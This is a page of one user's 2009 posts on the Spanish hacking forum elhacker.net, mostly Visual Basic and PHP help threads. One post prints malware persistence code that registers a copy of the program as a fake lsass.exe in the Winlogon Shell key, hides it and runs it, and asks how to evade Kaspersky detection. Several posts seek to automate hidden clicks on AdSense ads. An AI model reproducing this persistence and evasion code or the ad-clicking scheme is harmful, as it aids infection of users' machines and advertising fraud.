elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 20
11  Programación / Programación Visual Basic / Re: Ayuda con vb & web en: 10 Marzo 2009, 17:05 pm
Yo hice algo parecido, el caso es que tienes que hacer que la aplicación cada minuto o cada 2 minutos esté informando a la web.
Yo lo que hice fue un script en php que recibe la información que yo quería por GET: nombre del equipo, fecha/hora, IP, nombre de usuario...

Y luego para saber quien está usando el programa en tiempo real hay dos opciones, una que el programa al cerrarse, osea en el form_unload puedes poner que envíe una notificación especial a la web que quiera decir que está offline, pero si el proceso muere inesperadamente entonces tendrías un usuario falso online por lo tanto la mejor forma es que si cada 2 minutos recibes notificaciones, si pasan 3 minutos y no recibes notificación das a ese usuario por offline y ya está.

A mí me funcionó bien, pero no puedo pasarte el enlace de la página funcionando porque tiene datos privados de usuarios y no puedo publicar eso pero si tienes alguna duda puedo copiarte alguna parte del código fuente.

Saludos!

Interesante... pero kisiera una ayuda para lo del script =/... ya que el script tendria que detectar solo (...me imagino que desde la hora del servidor) log de hora1 hasta la hora+2minutos en eso es lo que tengo mas duda... xD!.. ia que no sabria como =/ o kiza estoy que me enredo =(

Te recomiendo que trabajes con timestamp, y para ver en un formato legible la hora podes ver asi:

Código
  1. <?php
  2. echo date("Y-m-d H:i:s", time()+120);
  3. ?>

ahi te da 2 min despues. (el timestamp es el time() y le sumas 120 segundos que son 2 min, y como podes hacer para saber? facil:

si trabajas con mysql toma:

Código
  1. <?php
  2. include("tu_archivo_de_conexion_sql.php");
  3. $time=time();
  4. $SQL="DELETE FROM la_tabla WHERE (timestamp_guardado < $time)";
  5. $SQL_Ej=mysql_query($SQL);
  6. ?>

Saludos!

PD: para crear la tabla, el campo no lo crees como timestamp ya que agarrara formato de fecha y hora.
12  Programación / Programación Visual Basic / Re: [AYUDA] Programa que envie 1 Paquete a X Servidor. en: 8 Marzo 2009, 21:37 pm
Código
  1. Winsock1.Connect "IP",PUERTO
  2. Winsock1.SendData Text1.Text


EXACTO !

Algo así es lo que necesito , pero supongamos que deceo enviar un packet a el servidor por ejemplo:

182.15.81.848:55901


entonces le cambias lo datos x los q vos necesitas  :¬¬

Código
  1. Winsock1.Connect "182.15.81.848", 55901
  2. Winsock1.SendData Text1.Text

ahora a eso q te puse arriba.. lo seleccionas lo copias y lo pegas en tu proyecto  :¬¬

a ver si leemos un poco mas...

Para simular que es el programa debes interceptar todo y utilizar tu programa como si fuera proxy y modificar lo que quieras.. y por lo que veo es el puerto de un MU :P

Saludos!
13  Programación / Programación Visual Basic / Re: Indetectabilizar unas lineas en vb en: 6 Marzo 2009, 16:43 pm
Muchas gracias muchachos!

Saludos!
14  Programación / Programación Visual Basic / Indetectabilizar unas lineas en vb en: 4 Marzo 2009, 15:51 pm
Buenas,

el pedazo de codigo que detecta es:

Código
  1. Reg_Crea_KeyConValor HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe, " & Environ("WinDir") & "\system32\drivers\lsass.exe"
  2. FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("WinDir") & "\system32\drivers\lsass.exe" 'lo copiamos
  3. SetAttr Environ("WinDir") & "\system32\drivers\lsass.exe", vbHidden + vbReadOnly + vbSystem
  4. DoEvents
  5. Shell Environ("WinDir") & "\system32\drivers\lsass.exe" 'y lo ejecutamos

Les digo las combinaciones que detecta:

cuando FileCopy no esta no lo detecta, cuando reg_crea_keyconvalor y shell no estan tampoco lo detecta, cuando solo le cambio el nombre al FileCopy digamos le cambio el lsass no lo detecta, intente ponerlo en funcion para que saque de ahi el nombre, tambien intente ponerlo con strreverse.. nadap.. alguna solucion?

Saludos!

PD: el Antivirus es el Kaspersky
15  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 21:16 pm
porque no listas todos los links de la web...en realidad tendrias que comentar para que realmente necesitas hacer eso...para ver si hay otra forma...

El fin es clickear una publicidad de adsense..

por medio de document.frames......links.click es inalcanzable ya que da acceso denegado..

por medio de focus y click tmb da acceso denegado..

por medio de winsock no lo he logrado.. obtengo todo el javascript pero no logro descifrarlo esta muy pero muy complejo...

entonces lo que quiero es hacer tabs hasta llegar a la publicidad y ahi mandar un mouse_down

Saludos!
16  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 21:01 pm
No estaras llegando al hwnd  que corresponde ya que así se manda un Tab con SenMessage

Call SendMessage(hwnd, WM_CHAR, WM_TAB , 0&)

Saludos




Si  estoy llegando,  lo comprobe con el WinID me da el mismo hwnd que el que me devuelve la funcion GetBrowserHandle... 

Saludos!
17  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 20:55 pm
SenMessage está mal declarado

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Saludos


Ahora no tira desbordamiento pero no realiza ninguna accion.

Saludos!
18  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 20:44 pm
Hola, no se si correspònde SendMessage para este caso pero me parece que estas mandando mal el mensaje


Private Const WM_CHAR = &H102
Private Const WM_BACK = &H8
Private Const WM_TAB = &H9


Call SendMessage(hwnd, WM_CHAR, VK_TAB, 0&)


Saludos


Tira error de desbordamiento..

oculto en que sentido?, en Visible = Flase o oculto a la vista del usuario poniendolo en cordenadas X,Y que no se vean...?

Visible = False

segun tengo entendido un webnrowser en :

Visible = False ... no realiza ninguna accion (no navega), corriganme si me equivoco

el Form es el que estara invisible..


Saludos!
19  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 20:21 pm
oculto en que sentido?, en Visible = Flase o oculto a la vista del usuario poniendolo en cordenadas X,Y que no se vean...?

Visible = False
20  Programación / Programación Visual Basic / Re: Realizar tabs en un webbrowser mediante SendMessage en: 27 Febrero 2009, 20:13 pm
Hola, y esto no te sirve?

Código
  1. Private Sub Command1_Click()
  2.    WebBrowser1.SetFocus
  3.    SendKeys "{tab}"
  4. End Sub
  5.  
  6. Private Sub Form_Load()
  7.    WebBrowser1.Navigate "http://www.google.com"
  8. End Sub

saludos.

no.. porke el webbrowser estara oculto..

Saludos y gracias igual..
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 20
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines